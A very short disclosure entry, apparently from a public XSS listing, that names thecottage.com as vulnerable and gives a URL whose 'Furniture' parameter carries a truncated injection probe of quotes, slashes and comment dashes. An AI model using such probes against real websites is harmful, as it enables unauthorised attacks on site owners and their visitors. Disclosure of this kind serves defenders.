thecottage.com XSS vulnerability

Vulnerable URL: http://thecottage.com/furniture.asp?Furniture=1/-///'/"//--...